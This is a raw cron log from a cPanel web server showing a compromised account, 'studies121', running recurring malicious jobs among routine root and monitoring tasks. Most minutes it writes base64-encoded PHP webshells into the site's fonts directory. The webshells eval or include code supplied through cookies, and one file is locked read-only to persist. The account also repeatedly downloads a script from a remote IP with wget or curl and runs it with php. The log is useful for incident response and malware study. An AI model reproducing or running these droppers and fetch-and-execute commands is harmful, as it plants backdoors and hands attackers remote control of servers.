Sep  8 11:39:01 ip-184-168-122-23 CROND[11084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:39:01 ip-184-168-122-23 CROND[11085]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:40:01 ip-184-168-122-23 CROND[11196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:40:01 ip-184-168-122-23 CROND[11197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:40:01 ip-184-168-122-23 CROND[11200]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 11:40:01 ip-184-168-122-23 CROND[11199]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:40:01 ip-184-168-122-23 CROND[11202]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 11:40:01 ip-184-168-122-23 CROND[11203]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 11:40:01 ip-184-168-122-23 CROND[11204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:40:01 ip-184-168-122-23 CROND[11205]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 11:41:01 ip-184-168-122-23 CROND[11314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:41:01 ip-184-168-122-23 CROND[11316]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:41:01 ip-184-168-122-23 CROND[11317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:41:01 ip-184-168-122-23 CROND[11320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:42:01 ip-184-168-122-23 CROND[11433]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 11:42:01 ip-184-168-122-23 CROND[11436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:42:01 ip-184-168-122-23 CROND[11438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:42:01 ip-184-168-122-23 CROND[11439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:42:01 ip-184-168-122-23 CROND[11440]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:43:01 ip-184-168-122-23 CROND[11622]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:43:01 ip-184-168-122-23 CROND[11624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:43:01 ip-184-168-122-23 CROND[11626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:43:01 ip-184-168-122-23 CROND[11625]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:44:01 ip-184-168-122-23 CROND[11731]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 11:44:01 ip-184-168-122-23 CROND[11734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:44:01 ip-184-168-122-23 CROND[11735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:44:01 ip-184-168-122-23 CROND[11736]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:44:01 ip-184-168-122-23 CROND[11733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:45:01 ip-184-168-122-23 CROND[11825]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:45:01 ip-184-168-122-23 CROND[11828]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 11:45:01 ip-184-168-122-23 CROND[11829]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 11:45:01 ip-184-168-122-23 CROND[11830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:45:01 ip-184-168-122-23 CROND[11827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:45:01 ip-184-168-122-23 CROND[11831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:46:01 ip-184-168-122-23 CROND[11931]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:46:01 ip-184-168-122-23 CROND[11933]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 11:46:01 ip-184-168-122-23 CROND[11934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:46:01 ip-184-168-122-23 CROND[11936]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 11:46:01 ip-184-168-122-23 CROND[11935]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 11:46:01 ip-184-168-122-23 CROND[11937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:46:01 ip-184-168-122-23 CROND[11939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:47:01 ip-184-168-122-23 CROND[12083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:47:01 ip-184-168-122-23 CROND[12082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:47:01 ip-184-168-122-23 CROND[12084]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:47:01 ip-184-168-122-23 CROND[12085]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:48:01 ip-184-168-122-23 CROND[12178]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 11:48:01 ip-184-168-122-23 CROND[12182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:48:01 ip-184-168-122-23 CROND[12181]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:48:01 ip-184-168-122-23 CROND[12180]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:48:01 ip-184-168-122-23 CROND[12183]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:49:01 ip-184-168-122-23 CROND[12400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:49:01 ip-184-168-122-23 CROND[12402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:49:01 ip-184-168-122-23 CROND[12401]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:49:01 ip-184-168-122-23 CROND[12403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:50:01 ip-184-168-122-23 CROND[12573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:50:01 ip-184-168-122-23 CROND[12575]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 11:50:01 ip-184-168-122-23 CROND[12579]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 11:50:01 ip-184-168-122-23 CROND[12580]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 11:50:01 ip-184-168-122-23 CROND[12576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:50:01 ip-184-168-122-23 CROND[12578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:50:01 ip-184-168-122-23 CROND[12590]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:50:01 ip-184-168-122-23 CROND[12589]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 11:50:01 ip-184-168-122-23 CROND[12588]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 11:51:01 ip-184-168-122-23 CROND[12707]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:51:01 ip-184-168-122-23 CROND[12705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
